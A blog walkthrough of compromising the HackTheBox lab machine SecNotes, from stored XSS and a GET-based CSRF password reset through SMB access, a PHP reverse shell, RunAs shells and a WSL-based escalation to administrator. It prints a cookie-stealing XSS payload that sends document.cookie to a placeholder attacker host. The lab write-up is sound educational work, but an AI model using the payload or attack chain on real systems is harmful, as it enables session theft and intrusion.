Hi Everyone, in today’s blog post we will be rooting SecNotes, Windows, Medium Difficulty machine from HacktheBox

1)Starting with nmap scan to see what’s happening here:

2)Nothing too crazy, SMB Share and 2 web ports. Port 80 prompt us for login, but also it offers registration in case we don’t have a profile:

3)Port 8808 is fresh installation of Windows IIS Web Server:

4)So let’s go back to the port 80 as it looks more interesting at the moment, I will first register test account:

4.1) Upon logging in, we see an interesting notification that reveals tyler as a username, and that we can contact him, which means that tyler might be expecting messages from us via “Contact Us” option. Another very interesting thing that we can see is that our username is reflected in home page, which can be an interesting attack vector for XSS if we are allowed to create usernames with special characters:

4.2)Another juicy function of the website is creating notes, let’s try to create malicious one :

And we got stored XSS!

4.3)This is an interesting attack vector as if somebody is reviewing all the notes, we might be able to steal their cookies with XSS and thus log in as that user, for that I will use following payload:

><script>new Image().src='http://<YOUR_IP>:8000/ex?c='+document.cookie;</script>

Once when we refresh the page, and start simple Python server locally, we get a request to it with our Session Cookie:

4.4)After waiting for some time, nothing happens which likely means nobody is reviewing our notes. Let’s try to message same payload to Tyler and see if we will get Blind XSS Execution once when Tyler opens message

4.5)Again, nothing… Okay, what if the message body itself is not vulnerable for XSS but the name of the user is not properly santizied once when Tyler opens a message? Let’s try to create malicious username:

Upon logging in we get yet again stored XSS:

4.6)Creating a username with cookie stealing payload like above didn’t work when I tried messaging Tyler, at this point I just knew that XSS is not the intended way.

5)Exploring the app further, reveals interesting function to change the password for a current user it lacks CSRF Protection, so we might use just that to trick the Tyler into changing his password. However we can’t send POST Request with JavaScript payload as we know it won’t be executed.

5.1)But what if we try to send a link to Tyler, he might be clicking on all links, so we can try to see if this endpoint accepts GET Request and still perform password reset:

And it does! Great, so let’s copy the URL and send it to Tyler, if he indeed is clicking on all the links, we can force password reset for him and thus authenticate as him!

5.2)Let’s copy the URL with the desired password in order to trick Tyler!

5.3)Hit send and let’s wait for a little bit 🙂

Trying to log in as Tyler and password testing works this time as Tyler is clicking on all the links we send to him!

5.4)Checking the first note, reveals what it seems SMB Credentials!

6)Let’s try to authenticate as Tyler to the SMB Share via smbclient!

That works! The new-site directory looks very interesting, let’s see what do we have there:

6.1)It seems that new-site is referring to another web server running on port 8808, let’s see if we can write a reverse shell to it and thus Achieve Command Execution!

Before we do just that let’s check the Programming Language in use on port 8808:

Seems like PHP! Cool, let’s try to upload a PHP Reverse shell via SMB Share and then try to access it in the browser.

6.2)When it comes to PHP Reverse shell payload for Windows Target I prefer one from Ivan Sincek:

Let’s upload it from our Kali to the SMB Share…

6.3)Now let’s trigger it in the browser by navigating to it:

And, we got reverse shell!

7)However we are still not Tyler user but we know his password. Since we have Powershell shell, let’s use https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

7.1)First I will transfer it using certutil and then we can test whether we can execute commands as Tyler:

It works! Let’s achieve another shell, this time as Tyler user:

For that I will be using Nishang Powershell payload:

First we leverage Invoke-RunasCs as Tyler to download and execute Nishang’s revere shell payload:

And we have a shell as Tyler!

8)Manual enumeration reveals interesting directory inside the Tyler’s directory and that is sec_notes with 2 powershell scripts, where we find the password of secnotes user, password and username seems to be used with MSSQL Database, so we can try to re-use them to see what Databse holds!

Nothing particularly interesting here in the Database beside the user that we are currently logged in. Let’s move on:

8.1)We stumble across Ubuntu.zip which might be an indicator that WSL is being used – Sybsystem for Linux for Windows Users.

Following this very useful blog: https://juggernaut-sec.com/wsl/ we can see how we can leverage bash.exe to connect to the WSL Linux:

I will be using reverse shell payload to connect to my Kali

8.2)Cool we are root user in WSL. Let’s check what we have here; bash history looks tempting:

9)Bingo! We found administartor’s password in Bash History. I will check if it’s still valid by using psexec from impacket since we have port 445 open!

10)GG! The password is still valid and we can connect to the victim host as administrator via SMB Share.

Lessons Learned:

1)The biggest takeaway here for me is for the initial foothold, I was so certain that is about the blind XSS where we try to hijack Tyler’s session cookie, but I was wrong. It’s important to check everything and every state-chaning request without CSRF Protection to check whether that endpoint will accept GET Request. Great reminder!

2)Learn a neat rick from Jaggernaut’s post about WSL for Windows Priv. Esc!